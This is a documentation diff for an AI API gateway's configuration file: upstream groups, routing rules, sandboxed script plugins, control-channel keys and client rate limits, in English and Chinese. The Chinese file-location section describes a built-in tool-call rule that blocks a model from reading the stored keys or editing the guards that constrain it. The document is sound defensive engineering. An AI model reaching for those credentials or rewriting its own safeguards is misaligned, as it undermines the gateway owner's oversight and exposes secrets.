[`groups[].providers[]`](#cfg-groups-providers) | **required** | Member upstreams, by name; not groups. Each upstream appears once in a group. In a `load-balance` group, a member can be written as `{name, weight}`. | +| `selected` | string | — | For `select`: the chosen member. | +| `balance_by` | `weights` \| `latency` \| `health` \| `latency-health` | `weights` | For `load-balance`: what the members' weights are multiplied by. `weights`: nothing; the weights alone. `latency`: faster upstreams get more. `health`: upstreams that fail less get more. `latency-health`: both. Other group types take only `weights`. | + + +`fallback` is the default because a single user's machine has no load to +spread. + +In a `load-balance` group, a member can carry a weight, from 1 to 100; a +member written as just its name has weight 1. Weights set how the group's +requests are shared out: with `{ name: anthropic, weight: 7 }` and `relay`, +the official API serves seven requests in ten. Conversations in progress +stay on the upstream that answers them (see below) and count toward its +share, so the balance is kept by where new conversations start. An upstream +that is cooling down after failures, is at its `max_concurrent`, or cannot +serve a request, sits that request out, and the others share it by their +weights. A new WebSocket connection is placed the same way and counts as one +request; everything sent on it then goes to the upstream it connected to. +Other group types take no weights. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | The upstream, by name. A member written as just its name has weight 1. | +| `weight` | integer | `1` | The member's share of a `load-balance` group's requests, in proportion to the other members' weights. From 1 to 100. Other group types take no weight other than 1. | + + +```yaml +groups: + - name: pool + type: load-balance + providers: + - { name: anthropic, weight: 7 } + - relay +``` + +Whatever the type, a conversation stays on the upstream that last answered +it, so that what the upstream holds of it in its prompt cache is read again +rather than paid for in full elsewhere. Within a turn (while the client sends +tool results back) it always stays; across turns it stays while the previous +answer read or wrote at least 1024 tokens of prompt cache and came less than +five minutes ago. An upstream that is cooling down after failures releases +the conversation, and whichever upstream answered after a failover is the one +it stays on. The rule a turn matched at its start also holds for the rest of +that turn: rules keyed on input size or images do not move a turn halfway, +unless its input no longer fits the context window of a model the rule sends +it to. A `load-balance` weight is therefore the long-run share of requests: +conversations in progress stay where they are and count toward that +upstream's share. + +`balance_by` lets a `load-balance` group also look at how each upstream has +been doing lately. Each member's weight is multiplied by a factor, and the +group shares out requests by the result in the same way as above. + +- `weights` (the default): the weights alone. +- `latency`: faster upstreams get a larger share. Speed is the typical time + from sending a request to the first content of the answer, the same + measurement `url-test` uses. An upstream twice as fast as the middle of the + group has its weight multiplied by four, by at most ten and at least a + tenth. +- `health`: upstreams that fail less get a larger share. It looks at the + last 50 requests within the past 30 minutes. Server errors, rate limits, + used-up quota or balance, rejected credentials, timeouts (including + `failover.idle_timeout_secs` before any content) and connection errors + count as failures; errors caused by the request itself do not, and neither + does a client that cancels, a request aborted by hand, or an upstream + skipped because it is at its `max_concurrent`. An upstream that keeps failing keeps a twentieth of its + weight, so it still gets the occasional request and its recovery + is noticed; one that fails outright is set aside by + [`failover`](#cfg-failover) as before. +- `latency-health`: both factors, multiplied. + +Speed is measured on streamed answers only, from the moment the request is +sent to that upstream, so waiting and upstreams that failed before it do not +count. An upstream given up on because it sent no content within +`failover.idle_timeout_secs` counts as taking the whole wait. On a +Responses WebSocket connection, each `response.create` counts as one request +for both speed and failures, its speed measured from the moment the upstream +starts answering it. + +An upstream without enough measurements yet counts as average. As with +weights alone, conversations in progress stay where they are, and new +conversations make up the difference. + +```yaml +groups: + - name: pool + type: load-balance + balance_by: latency-health + providers: + - { name: official, weight: 3 } + - relay +``` + +### `routes` + +A route is a list of rules evaluated top to bottom. Each key takes the route +named in its `route`, otherwise `default_route`, otherwise the route named +`default`; without any, requests fail over across all upstreams in the +order they are declared. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name of the route; unique. `default` is the one keys use unless told otherwise. | +| `rules` | list of [`routes[].rules[]`](#cfg-routes-rules) | `[]` | Evaluated top to bottom; the first rule with `to` or `deny` that matches decides where the request goes. | + + +#### `routes[].rules` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name shown in logs and in the traffic view. | +| `when` | object, [`routes[].rules[].when`](#cfg-routes-rules-when) | — | Conditions, all of which have to hold. Unset: matches every request. | +| `to` | string, or list of [`routes[].rules[].to[]`](#cfg-routes-rules-to) | — | An upstream or a group, by name; `__all__` is every upstream in declared order. Or pinned models: a list of upstreams with the model to send to each, tried in order. Not allowed together with `when.provider_would_be`. | +| `set` | object, [`routes[].rules[].set`](#cfg-routes-rules-set) | — | Parameters to rewrite. Collected from every matching rule, not only the first. | +| `deny` | string | — | Refuse the request with this reason. | + + +#### `routes[].rules[].to` + +`to` names an upstream or a group, or pins models: a list of upstreams, each +with the model sent to it, tried in order. A pinned model is sent as written, +without aliases or `set.model`, so a rule can send a key's requests to one +upstream's model even when an alias of the same name points elsewhere. + +```yaml +routes: + - name: default + rules: + - name: Opus on Bedrock + when: { model: claude-opus-5 } + to: + - { provider: bedrock, model: us.anthropic.claude-opus-5-v1:0 } + - { provider: anthropic, model: claude-opus-5 } +``` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `provider` | string | **required** | An upstream, by name; not a group. Each upstream appears once in the list. | +| `model` | string | **required** | The model name sent to that upstream, as written: aliases do not apply, and no `set.model` changes it. Not allowed together with `set.model` in the same rule. | + + +#### `routes[].rules[].when` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `model` | string | — | Requested model, glob (`claude-opus-*`). An upstream model name also matches requests for the aliases that list it; an alias matches only requests for the alias. | +| `client` | string | — | Name of the gateway key the request used, exactly. | +| `dialect` | string | — | API format the client spoke: `anthropic`, `openai-chat`, `openai-responses`, `gemini`. | +| `input_tokens` | comparison (`>200k`, `<=4k`, `==3`) | — | Estimated input tokens. | +| `max_tokens` | comparison (`>200k`, `<=4k`, `==3`) | — | The request's `max_tokens`. A request without one never matches. | +| `tool_count` | comparison (`>200k`, `<=4k`, `==3`) | — | Number of tools offered. | +| `cache` | bool | — | Whether the request uses the prompt cache. | +| `tools` | bool | — | Whether the request offers tools. | +| `image` | bool | — | Whether the request contains an image. | +| `thinking` | bool | — | Whether extended thinking is on. | +| `stream` | bool | — | Whether the response is streamed. | +| `intent` | string or list of strings | — | A client helper request: `assistant_internal` for any of them, or one class (`titling`). Classes set to `intercept` in `client_probes` are answered locally and never reach routing. | +| `time` | string or list of strings | — | Local time of the machine core runs on, as a window `[days ]HH:MM-HH:MM`: `mon-fri 09:00-18:00`, `sat,sun 00:00-24:00`, `22:00-06:00`. Several windows: any of them. See below. | +| `provider_would_be` | string or list of strings | — | The upstream routing chose. Such a rule is evaluated after routing, may only `set` or `deny`, and cannot have `to`. | + + +A comparison starts with `>`, `>=`, `<`, `<=` or `==`, and the number may +end in `k` or `m`: `">200k"`, `"<=4k"`. Without an operator it is an error, +not an equality: `"200k"` alone is refused. + +A time window is `[ ]-`, evaluated against the local +wall-clock time of the machine core runs on, at the moment the request is +routed. `` is a comma-separated list of `mon`, `tue`, `wed`, `thu`, +`fri`, `sat`, `sun` and ranges such as `mon-fri` or `fri-mon` (which wraps +past Sunday); leave it out for every day. Case does not matter. The hours are +24-hour: the start is included, the end is not, and the end may be `24:00`. +An end earlier than the start is an overnight window, and its days are the +days it starts on: `fri 22:00-06:00` runs from Friday 22:00 to Saturday 05:59. +A value that does not fit this shape is refused when the configuration is +read, naming the rule and the value. + +#### `routes[].rules[].set` + +`set.model` may name an alias; each upstream then receives its own name for +it. Answers carry the name the client asked for, as with aliases. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `model` | string | — | Send a different model. The prompt cache of the session is lost. | +| `max_tokens` | integer | — | Replace `max_tokens`. | +| `thinking` | bool | — | Turn extended thinking on or off. | +| `only_at_session_start` | bool | `false` | Apply only when a session starts. Recorded and shown; not in effect yet. | + + +```yaml +groups: + - name: fast + type: url-test + providers: [anthropic, relay] + +routes: + - name: default + rules: + - name: long context goes to the official API + when: { input_tokens: ">200k" } + to: anthropic + - name: titles go to the cheap model + when: { intent: titling } + set: { model: claude-haiku-4-5 } + - name: everything else + to: fast +default_route: default +``` + +### `plugins` + +Script plugins change requests before they reach an upstream and answers +before they reach the client. They run in a sandbox inside core, without +access to files, the network or the real values of secrets. The app installs +them: each plugin's code goes to `plugins/.js` next to this file, a copy +of the approved code to `plugins/.approved/.js`, and the code's SHA-256 +to `sha256`. + +A plugin's file holds its settings too. The `manifest` at the top of the file +says what to do when the plugin fails (`on_error`), which requests it handles +(`match`) and the value of each setting (`settings..value`). When the +app changes one of these, it rewrites only the manifest in the file and +updates `sha256` along with it. This list keeps just the plugin, its approved +hash and whether it is on. Entries written by core 0.58 also have `on_error`, +`scope` and `settings`: they are ignored, and removed the next time the app +changes a plugin. + +A plugin runs only while its file has exactly the approved hash. When the +file changes on disk or disappears, the plugin stops within seconds and the +app shows the change for review. Until the change is approved, the requests +the plugin covers are refused (`on_error: "reject"`, the default) or pass +without it (`on_error: "skip"`), as the approved file says. A plugin that does +not load is handled the same way. Neither keeps the rest of the configuration +from taking effect. + +Plugins run in the order of this list. + +In `match`, `clients`, `models` and `upstreams` are lists of names or +patterns with `*` anywhere in them, matched regardless of case; a list that +is empty or left out matches everything. `clients` names the client app +(`claude-code`, `codex`, …), and a request whose app is not recognised +matches only an empty list. `models` matches the model sent to the upstream: +when a routing rule renames the model, the new name is the one that matches. +`upstreams` applies to requests and answers alike. + +A plugin changes a request after routing, each time the request is sent to an +upstream. A request that fails over to another upstream starts again from what +the client sent, and the plugin sees which upstream and which model name the +request goes to. Routing, model checks and session grouping use what the +client sent. A plugin that changes the model name only renames what is sent to +that upstream: the request is not routed again, and the new name must still be +one of the models the key may use ([`clients[].allow`](#cfg-clients)), or the +request is not sent. + +A plugin handles the kinds of request its code declares: conversations +(Anthropic Messages, OpenAI Chat Completions and Responses, and Gemini, +including their token counts and compaction), embeddings (`/v1/embeddings`, +Gemini `:embedContent` and `:batchEmbedContents`) and legacy completions +(`/v1/completions`). A plugin that declares none handles conversations only. +Requests of a kind a plugin does not handle pass without it, whatever its +`on_error`. Other endpoints, such as images and audio, pass without any plugin. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `id` | string | **required** | Lowercase letters, digits and hyphens, 1 to 40 characters; unique. | +| `file` | string | **required** | The plugin's code, relative to this file's directory. It is always `plugins/.js`; the app writes it. | +| `sha256` | string | **required** | SHA-256 of the approved code, 64 lowercase hexadecimal characters. When the file no longer has this hash, the plugin stops running until the change is approved in the app. The approved code is kept in `plugins/.approved/.js`. | +| `enabled` | bool | `true` | Run the plugin. `false` keeps it installed and out of every request. | + + +```yaml +plugins: + - id: add-date + file: plugins/add-date.js + sha256: 9f2b6c0e4a1d8f3b7c5e2a9d6f1b4c8e3a7d0f5b2c9e6a1d4f8b3c7e0a5d2f9b + enabled: true +``` + +The start of `plugins/add-date.js`: + +```js +export const manifest = { + name: "Add date", + api: 1, + permissions: ["system"], + match: { clients: ["claude-code"], models: ["claude-*"], upstreams: [] }, + on_error: "reject", + settings: { + note: { type: "string", label: "Note", value: "Answer in English." }, + }, +}; +``` + +## Environment variables + +| Variable | Effect | +|---|---| +| `THINKWATCH_HOME` | Data directory, instead of `~/.thinkwatch` (`%APPDATA%\ThinkWatch` on Windows). | +| `TWCORE_LOG` | Log filter, in `tracing` syntax (`info`, `debug`, `tw_gateway=debug`). | +| `HTTPS_PROXY`, `HTTP_PROXY`, `ALL_PROXY`, `NO_PROXY` | Used by upstreams with `proxy: system`. | +| Any other | Read where the configuration writes `${NAME}`. | diff --git a/src/data/core-docs/config.zh-CN.md b/src/data/core-docs/config.zh-CN.md new file mode 100644 index 0000000..4934f04 --- /dev/null +++ b/src/data/core-docs/config.zh-CN.md @@ -0,0 +1,1092 @@ +# 配置手册 + +[English](config.md) + +ThinkWatch Core 只读一个文件:`config.yaml`。本文逐项说明其中每个字段的作用、默认值、可选值,以及改动如何进入正在运行的进程。在服务器上运行 core、由桌面应用远程管理,见[在服务器上运行 core](server.zh-CN.md)。 + +本文的字段表由代码生成,与代码不一致时测试失败。表中列出的字段,就是程序实际读取的字段。 + +## 文件位置 + +| 平台 | 默认位置 | +|---|---| +| macOS、Linux | `~/.thinkwatch/config.yaml` | +| Windows | `%APPDATA%\ThinkWatch\config.yaml` | + +`THINKWATCH_HOME` 替换整个目录;`--config <路径>` 为单条命令指定文件。core 的其余数据也在这个目录里:请求数据库(`data.db`)、配置历史(`history/`)、下载的价目表(`model_prices.json`),以及本地控制通道的 socket 文件(`twcore.sock`;Windows 上是回环端口,记录在 `control.port` 中)。目录只有所有者可访问(`0700`),配置文件权限为 `0600`:其中以明文保存密钥。 + +这两项权限就是这份文件在本机上的全部保护:挡得住其他用户,挡不住以同一用户身份运行的程序。这样的程序能读到文件里的每一把密钥,也能用其中的控制通道密钥经控制通道修改配置。出站脱敏不改变这一点:它保护的是请求带出本机的内容,不是磁盘上的文件。显示配置时给控制通道密钥打码,是为了让经控制通道的写入改不了它(见 [`listen.control`](#cfg-listen-control)),而不是对本机程序隐藏它;上游密钥和网关密钥按原样显示。 + +工具调用审查为这个目录内置了一条规则 `thinkwatch-data`:工具调用的路径或命令指向上述默认位置之一,或服务器上的 `/var/lib/thinkwatch`、`/etc/thinkwatch` 时记录下来,`enforce` 下切断响应。这样模型无法被诱导去读取这些密钥、改写约束它自己的防护。只是提到这个路径(例如在正在编辑的文档里)不算。`THINKWATCH_HOME` 指向别处时,可以在 [`security.inspect_tools`](#cfg-security-inspect_tools) 里为那个路径加一条自定义规则。 + +没有配置文件时,`twcore serve` 会写入一份初始配置;`twcore init` 也可以按需生成。两者生成的内容如下: + +```yaml +version: 1 +listen: + control: + key: 6629…753d # 自动生成 +clients: + - name: default + key: tw-… # 自动生成 +``` + +这已是一份完整、合法的配置。其中还没有上游,因此控制面照常运行,请求会得到「尚未配置上游」的错误。加上一个上游即可转发: + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} +``` + +## 读取规则 + +- **本文没有的字段名一律是错误。**把 `port` 写成 `prot` 时,不会被悄悄忽略、让网关在默认端口上起来;整份配置被拒绝,错误信息指出那个字段。 +- **默认值不写进文件。**没写的字段取下表中的默认值。应用和命令行只在取值不同于默认值时才写入字段,因此文件里出现的都是有人做出的选择。 +- **`${VAR}` 读取环境变量**,适用于标注「可写 `${VAR}`」的字段:上游密钥、请求头的值、代理密码。取值来自 core 进程的环境,在发送请求时读取;变量未设置时,该上游的请求失败,错误信息指出变量名。在 systemd 下,这个环境就是 unit 的 `EnvironmentFile`。 +- **名字即引用。**规则、策略组、密钥按名字引用上游、策略组、路由和价目表。指向不存在的名字,在加载时就报错,而不是成为一条永不命中的规则。在应用里改名时,所有引用在同一次写入中一起修改。以 `__` 开头的名字保留给内置项。 +- **`version`** 是格式版本,目前为 `1`。版本更高的文件出自更新的 twcore,整份拒绝。 + +## 改动如何生效 + +修改配置有三种途径:桌面应用、`twcore config …` 命令、用编辑器直接修改文件。三者走同一条路径。core 监视配置文件,保存后一秒内重新加载,无需重启。 + +新版本要通过以下每一关才会换入: + +1. 能按 YAML 解析。 +2. 符合结构:字段名已知,类型正确。 +3. 自洽:名字不重复、引用都能找到、正则能编译、CIDR 写法正确。 +4. 能据此建立运行时对象。 + +任何一关失败,**原有配置继续服务**,错误信息说明失败在哪一关、哪个位置。写错一个字不会让网关停下。在保存出合法版本之前,桌面应用会一直显示这次拒绝。 + +`listen.gateway` 的改动同样即时生效:core 打开新的监听;打不开时(例如端口被占用)保留原监听并报告原因。保留期限的改动在下一次每小时的清理时生效。 + +两方同时修改时(应用和手工编辑),后写入的一方因版本不一致被拒绝,不会覆盖先写入的内容。 + +### 历史与回滚 + +每个生效过的版本都保存在配置文件旁边的 `history/` 目录中,并记录来源(应用、命令行、外部编辑、回滚、凭据轮换)。保留最近 50 个版本。 + +```sh +twcore check # 只校验配置,不启动任何服务 +twcore config show # 打印当前配置及其版本 +twcore config history # 列出历史版本,最新的在前 +twcore config rollback 3f9a2c # 回滚到某个版本(写前几位即可) +twcore config set /listen/gateway/port 8790 --int +``` + +这些命令直接操作文件,因此 core 没有运行时也能使用,而那往往正是最需要回滚的时候。正在运行的 core 会像对待其他保存一样接收这些改动。 + +`twcore config set <路径> <值>` 修改文件中已经写出的一个值。路径中的列表项按其 `name` 定位(`/providers/anthropic/base_url`);数字表示下标(`/routes/0/rules/1/to`)。值默认按字符串写入,`--int`、`--bool`、`--null` 另作指定。写入前先校验结果。要添加文件中还没有的字段,请直接编辑文件。 + +### 网关写回的凭据 + +有一种写入不是由人发起的。上游的 OAuth token 端点换发新的 refresh token 后,旧的随即作废,因此网关会把新 token(以及 access token 和过期时间)写回 `providers[].oauth`。只改这几个值,注释和排版保持原样。 + +## 字段参考 + +每张表列出一节的全部字段。「默认值」一栏为「—」表示不写就没有这个字段,其含义见说明。 + +### 顶层 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `version` | 整数 | **必填** | 文件格式的版本,目前只有 `1`。更大的数字说明文件出自更新的 twcore,整份拒绝,不按一知半解的方式读。 | +| `listen` | 对象,见 [`listen`](#cfg-listen) | — | 网关和控制通道在哪里监听。 | +| `clients` | 对象列表,见 [`clients[]`](#cfg-clients) | `[]` | 网关密钥。至少要有一把;`twcore init` 和首次 `twcore serve` 会写入一把名为 `default` 的。 | +| `providers` | 对象列表,见 [`providers[]`](#cfg-providers) | `[]` | 上游。一个都没有也是合法配置:控制面照常运行,请求得到「尚未配置上游」的错误。 | +| `proxies` | 对象列表,见 [`proxies[]`](#cfg-proxies) | `[]` | 出站代理。在这里声明一次,由 `providers[].proxy` 按名字引用。 | +| `pricing` | 对象,见 [`pricing`](#cfg-pricing) | — | 默认价目表是否定期刷新,以及自定义价目表。 | +| `client_probes` | 对象,见 [`client_probes`](#cfg-client_probes) | — | 客户端自行发出的辅助请求(连通性检查、预热、起标题)如何处理。 | +| `security` | 对象,见 [`security`](#cfg-security) | — | 三项防护。出厂时都处在 `observe`,不改变、不拒绝任何请求。 | +| `retention` | 对象,见 [`retention`](#cfg-retention) | — | 请求日志保留多久。 | +| `failover` | 对象,见 [`failover`](#cfg-failover) | — | 上游失败后停用多久,以及流式回答的开头最多等多久。 | +| `aliases` | 映射: 别名 → 字符串或字符串列表 | `{}` | 模型别名:同一个模型在各上游的名称合用一个名字,按顺序列出各上游的名称。请求别名时,提供其中任一名称的上游都能服务,发给它的是列表中它提供的第一个名称。别名不能列出别的别名。 | +| `groups` | 对象列表,见 [`groups[]`](#cfg-groups) | `[]` | 策略组:多个上游合用一个名字,并规定如何在其中选择。 | +| `routes` | 对象列表,见 [`routes[]`](#cfg-routes) | `[]` | 路由。一条都不写时,请求按上游的声明顺序故障转移。 | +| `default_route` | 字符串 | — | 未指定路由的密钥走哪条路由。不写:名为 `default` 的路由;没有这条路由时走内置的故障转移。 | +| `default_key` | 字符串 | — | 没有专用密钥的客户端使用哪一把。不写:名为 `default` 的那把,没有则取第一把。这把密钥不能停用。 | +| `plugins` | 对象列表,见 [`plugins[]`](#cfg-plugins) | `[]` | 脚本插件,按运行的顺序。由应用安装,每个插件的代码和设置是本文件旁边的一个文件。 | + + +### `listen` + +core 在哪里接受连接。连接分两种:客户端发送请求的 AI 网关,以及桌面应用和 `twcore` 命令使用的控制通道。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `gateway` | 对象,见 [`listen.gateway`](#cfg-listen-gateway) | — | AI 网关,即客户端发送请求的地址。 | +| `control` | 对象,见 [`listen.control`](#cfg-listen-control) | — | 控制通道,即桌面应用和 `twcore` 命令连接 core 的途径。其中有控制密钥,因此每份配置都有这一节。 | + + +#### `listen.gateway` + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `bind` | `loopback` \| `all` \| 网卡名 \| IP 地址 | `loopback` | `loopback` 只有本机;`all` 所有网卡;网卡名(`en0`、`eth0`)每隔几秒重新解析,地址变了也能跟上,网卡暂时不在时先只监听 127.0.0.1,出现后再补上;写死的 IP 地址在地址变化后失效。绑定单张网卡时同时监听 127.0.0.1。 | +| `port` | 整数 | `8788` | 网关的 TCP 端口。 | +| `allow_from` | 字符串列表 | `[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7]` | 本机以外允许连接的来源,写 CIDR 网段或单个地址。本机始终放行。`[]` 表示只有本机;放行所有来源要明确写 `0.0.0.0/0`。 | + + +`bind` 超出本机范围时,由 `allow_from` 决定允许谁连接。网关不提供 TLS:只在可信的网络中开放,或放在隧道、VPN 之后。 + +```yaml +listen: + gateway: + bind: all + port: 8788 + allow_from: [192.168.1.0/24] +``` + +#### `listen.control` + +控制通道供桌面应用,以及同一台机器上的 `twcore config`、`twcore control-key` 与 core 通信。本地通道是数据目录中的 socket 文件(Windows 上是回环端口);除非启用 `remote`,控制通道不开任何网络端口。 + +每条控制连接,无论本地还是远程,都以一次握手开始,证明双方都持有 `key`(`Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`:密钥作为预共享密钥,每条连接协商新的会话密钥,通信内容加密)。不使用证书。不持有密钥的一方无法完成第一条握手消息。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `key` | 字符串 | 自动生成 | 控制密钥:64 个十六进制字符(32 字节)。所有控制连接,无论本地还是远程,都要证明持有这把密钥。缺失时 `twcore serve` 在开始监听前写入一把;格式不对的配置整份拒绝。用 `twcore control-key` 查看,`twcore control-key --rotate` 更换。 | +| `remote` | 对象,见 [`listen.control.remote`](#cfg-listen-control-remote) | — | 供另一台机器上的桌面应用连接的网络端口。它是本地通道之外额外开的,不取代本地通道。 | + + +`key` 缺失时,由 `twcore serve` 在控制通道开始监听之前写入;`twcore init` 生成的配置也带有它。凡是显示配置或写入配置历史的地方,这个字段一律打码;把打码值原样存回时保留原值。密钥缺失或格式不对(不是 64 个十六进制字符)时整份配置无效,因此无法把它换成一把容易猜到的短密钥。 + +```sh +twcore control-key # 显示密钥,用于粘贴到桌面应用 +twcore control-key --rotate # 更换密钥;已连接的应用需要重新连接 +``` + +两条命令都在运行 core 的机器上执行。 + +#### `listen.control.remote` + +供另一台机器上的桌面应用连接的网络端口。它在本地通道之外额外开启,因此这里写错(端口被占用、`allow_from` 把自己挡在外面)也不会把本机锁在门外:`twcore config` 和本机应用照常可用。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `enabled` | 布尔 | `false` | 是否监听远程端口。不写或 `false`:不为控制面开任何网络端口。`twcore remote enable` / `twcore remote disable` 切换它;运行中的 core 在一秒内跟上。 | +| `bind` | `loopback` \| `all` \| 网卡名 \| IP 地址 | `all` | 监听哪张网卡,写法同 `listen.gateway.bind`。 | +| `port` | 整数 | **必填** | TCP 端口。没有固定默认值:`twcore init` 和 `twcore remote enable` 写出这一节时随机写入 20000 到 32000 之间的一个端口(不会和网关相同)。不能是 0,也不能和网关端口相同。 | +| `allow_from` | 字符串列表 | `[10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7]` | 允许连接的来源,写法同 `listen.gateway.allow_from`,但本机不会自动放行(本机有本地通道)。其他来源的连接在握手之前关闭,不回任何字节;收窄名单时,已经连着、不再放行的连接也随即断开。同一来源一分钟内握手失败 5 次,之后一分钟不理它。 | + + +```yaml +listen: + control: + key: 9f2c…e41a # 64 个十六进制字符 + remote: + enabled: true + bind: all + port: 23483 # 随机生成,在生成这一节时写入 + allow_from: [192.168.1.0/24] +``` + +经远程端口的连接无论应用如何请求,都不能做三件事:关闭 core(它由 systemd 管理)、修改 `listen.control`(它进来的那扇门)、生成诊断包(诊断包会写在服务器上)。握手限时 5 秒;同一来源一分钟内握手失败 5 次,封禁一分钟。 + +### `clients` + +网关密钥,即 Claude Code、Codex 等客户端向网关发送的密钥。密钥即身份:并发上限、模型范围、路由都按密钥设置。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 密钥的名字,不能重复。路由规则用 `when.client` 匹配它。 | +| `key` | 字符串 | **必填** | 客户端发送的密钥(放在 `x-api-key` 或 `Authorization: Bearer` 中)。生成的密钥以 `tw-` 开头,以免被误认作上游的密钥。不能重复。 | +| `max_concurrent` | 整数 | — | 用这把密钥同时进行的请求数上限,超出的排队等待。不写:不限。`0` 会被拒绝。 | +| `allow` | 字符串列表 | — | 这把密钥可用的模型,写模型 ID 或通配(`claude-*`)。写上游模型名,列有它的别名一并可用;写别名只放行别名。不写:全部模型。`[]`:一个都不给。 | +| `route` | 字符串 | — | 这把密钥的请求走哪条路由。不写:`default_route`。 | +| `client` | 字符串 | — | 这把密钥是为哪个客户端生成的(`claude-code`、`codex` 等),由桌面应用接管客户端时写入。一个客户端最多一把。 | +| `disabled` | 布尔 | `false` | 拒绝使用这把密钥的所有请求,密钥本身保留。 | +| `limits` | 对象列表,见 [`clients[].limits[]`](#cfg-clients-limits) | — | 用量上限:每分钟、每小时、每天、每周或每月的请求数、token 数或费用。请求要通过每一条。不写:不限。 | + + +```yaml +clients: + - name: default + key: tw-a3f9c8d1e5b2h7k4m6n8p2q4 + - name: build-server + key: tw-q8r2s4t6u8v2w4x6y8z2a4b6 + max_concurrent: 4 + allow: [claude-sonnet-*] + route: cheap +``` + +#### `clients[].limits` + +一把密钥的用量上限:每分钟、每小时、每天、每周或每月最多多少个请求、多少 token、多少美元。 +每一条只数其中一种;一把密钥可以有好几条,请求要通过每一条。 + +`minute`、`hour` 是滚动的:最近 60 秒、最近 60 分钟。用满之后,下一个空位在 +`failover.slot_wait_secs`(默认 30 秒)之内空出来,请求就等它;等不到就拒绝。之后若还要等 +上游空出位置,用的是同一段时间里剩下的部分。`day`、`week`、`month` 按 twcore 所在机器的 +本地时区算,在零点、周一零点、每月一号零点重新开始;用满之后,到重新开始之前的请求一律拒绝。 +机器换了时区时,当前这一天、这一周、这个月的用量按新的时区从请求记录里重新加起来。 + +被拒的请求收到 HTTP 429,错误格式和客户端自己的一致,写明是哪把密钥、哪一条上限、用了多少、 +什么时候重置;流量列表里也有这一条。没有发到上游的请求不计入任何上限:被规则、内容过滤或 +上限拒绝的,以及因为上游都已达到 `max_concurrent` 而被退回的。费用按每个请求记下的费用算,所以没有价格的模型、 +`billing: free` 的上游算 0。还在进行的请求先按输入的估算计入,记下之后换成实际用量。 +重启之后,这一天、这一周、这个月的用量从请求记录里重新加起来,所以请求记录要留够那一期: +设了按天的上限时 `retention.row_days` 至少 1,按周至少 7,按月至少 31;按分钟、按小时的 +上限从零开始。 + +Responses 的 WebSocket 连接上,每个 `response.create` 各算一个请求:带着各自的用量和费用记下, +按这些上限检查;被拒的那一个收到 `response.failed`,连接保持不断。Realtime 的连接 +(`/v1/realtime`)整条算一个请求:连上时按这些上限检查,这条连接上所有回答的 token 和费用在 +断开时计入。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `per` | `minute` \| `hour` \| `day` \| `week` \| `month` | **必填** | 按多长一段时间算。`minute`、`hour` 是滚动的(最近 60 秒、最近 60 分钟);`day`、`week`、`month` 在本地时间的零点、周一零点、每月一号零点重新算。 | +| `requests` | 整数 | — | 最多这么多个请求。数 token 的请求、网关自己答的、没有发到上游的不算。 | +| `tokens` | 整数 | — | 最多这么多 token:未命中缓存的输入、写入缓存的和输出。 | +| `cost` | 数字 | — | 最多花这么多美元,按每个请求记下的费用算;至少 0.01。没有价格的模型、`billing: free` 的上游算 0。 | +| `cache_reads` | 布尔 | `false` | 把读取缓存的 token 也算进去。只有 `tokens` 上限能写。 | + + +```yaml +clients: + - name: build-server + key: tw-q8r2s4t6u8v2w4x6y8z2a4b6 + limits: + - { per: minute, requests: 30 } + - { per: day, cost: 5 } + - { per: month, tokens: 20000000, cache_reads: true } +``` + +### `providers` + +上游,即请求被转发到的接口。 + + + + +| 字段 | 类型 | 默认值 | 说明 | +|---|---|---|---| +| `name` | 字符串 | **必填** | 上游的名字,不能重复,也不能和策略组同名。以 `__` 开头的名字保留给内置项。 | +| `base_url` | 字符串 | **必填** | 接口地址,`http://` 或 `https://`,按服务商文档写到版本段为止(`https://api.anthropic.com`、`https://api.openai.com/v1`)。Bedrock 写所在区域的推理地址:`https://bedrock-runtime.<区域>.amazonaws.com`。 | +| `key` | 字符串,可写 `${VAR}` | — | API 密钥,放进协议规定的请求头:`x-api-key`(Anthropic)、`Authorization: Bearer`(OpenAI,以及 Bedrock API Key)、`x-goog-api-key`(Gemini)。上游不需要密钥、或凭据写在 `headers` 里时不写。不能和 `oauth`、`aws` 同时写。 | +| `headers` | 请求头名 → 值的映射 | `{}` | 额外的请求头,按书写顺序发送;值可以用 `${VAR}`,配置了 `oauth` 时可以用 `{{access_token}}`。最多 32 个。HTTP 或网关管理的请求头(`host`、`content-length`、`connection` 等)不能设置。 | +| `oauth` | 对象,见 [`providers[].oauth`](#cfg-providers-oauth) | — | OAuth 凭据:用 refresh token 换取 access token。与 `key` 二选一。 | +| `aws` | 对象,见 [`providers[].aws`](#cfg-providers-aws) | — | Bedrock 上游的 AWS 访问密钥,写在这里或者从 AWS 的 profile 读:每个请求用它们签名(SigV4)。与 `key`(Bedrock API Key)二选一。 | +| `protocol` | `anthropic` \| `openai-chat` \| `openai-responses` \| `gemini` \| `chatgpt` \| `bedrock` | — | 上游的接口格式。不写:官方地址按 `base_url` 识别(Bedrock 的推理地址是 `bedrock`),其余按 `anthropic` 处理。 | +| `forward_client_identity` | 布尔 | `false` | 同时发送客户端自己的身份:它的 `User-Agent`、`x-app` 和 `originator` 等身份请求头,以及请求体中的身份字段(如 `metadata.user_id`)。发送的都是客户端的原值,不做伪造。关闭时请求使用 ThinkWatch 的 `User-Agent`,不带客户端身份。用于只接受特定客户端的上游(Kimi For Coding、百炼 Coding Plan、只允许官方客户端的中转站)。`chatgpt` 不可用。 | +| `proxy` | 字符串 | `direct` | 